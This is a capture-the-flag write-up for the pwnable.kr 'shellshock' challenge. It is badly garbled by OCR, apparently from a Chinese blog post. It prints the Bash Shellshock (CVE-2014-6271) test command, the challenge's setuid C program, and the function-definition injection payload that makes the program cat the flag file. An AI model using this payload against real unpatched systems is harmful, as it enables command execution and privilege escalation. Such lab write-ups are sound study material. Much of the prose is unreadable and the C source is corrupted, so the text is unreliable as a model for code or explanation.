[WriteUp] pwnable.kr -- [shellshock]

ShinJoe F 2018-07-31 16:47:17 KA 346 g

CEbR%:  pwn Lin

BB B Ao OIS, JMA5.CC 4.0 BY-SA RPN, BEREI 1B SC th Ab S BeA A
ASCEERE: hitps:/blog.csdn.net/qq 2302685 1 /article/details/8 1304553

fit

AL -

shellshock - 1 pt [writeup]

Mammy, there was a shocking news about bash.
| bet you already know, but lets just make it sure :)

ssh shellshock@pwnable kr -p2222 (pw:guest)
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shells huckdubuntu ~% env x='() { ::;}; echo vulnerable' ./bash -c "echo whatever"

whatever

3. FEAEEERH T, MU bash’if, B ik shellshockififl; 1fi“/bashMifi 7. FoILJFEHE, ZARS 4 EBINH
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4. Shellshock R CAPRIT TIRZ, WL — FileE, ST EXPWIRE: — I wve UsmERm 4
A (echowvulnerable) , T2 (bash) &e#ATar4A. MH, fwATEFHREMBR T #HIT.

5. M%E— Fshellshock.ciyiiify, KIEHHEHIruid, euid, suidflirgid, egid, sgid#Bik/% T egid, Hlshellshock pwnix
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shellshock@ubuntu:~% cat shellshock.c
#include <stdio.h=
int main(

), getegid(), getegid());

i grtrgld(} getegid());

systemf“fhnmr/ahrllhhuckfb sh -c¢ 'echo shock me'");
return @;
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L RE, RIEEEPATH A (fbash-c "cat fMag") MAEREJS T, Fizirshellshock, fHZiflag: .
shellshoc buntu:~% env x="'() { :;}; ./bash -c "cat ./flag"' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!

Segmentation fault
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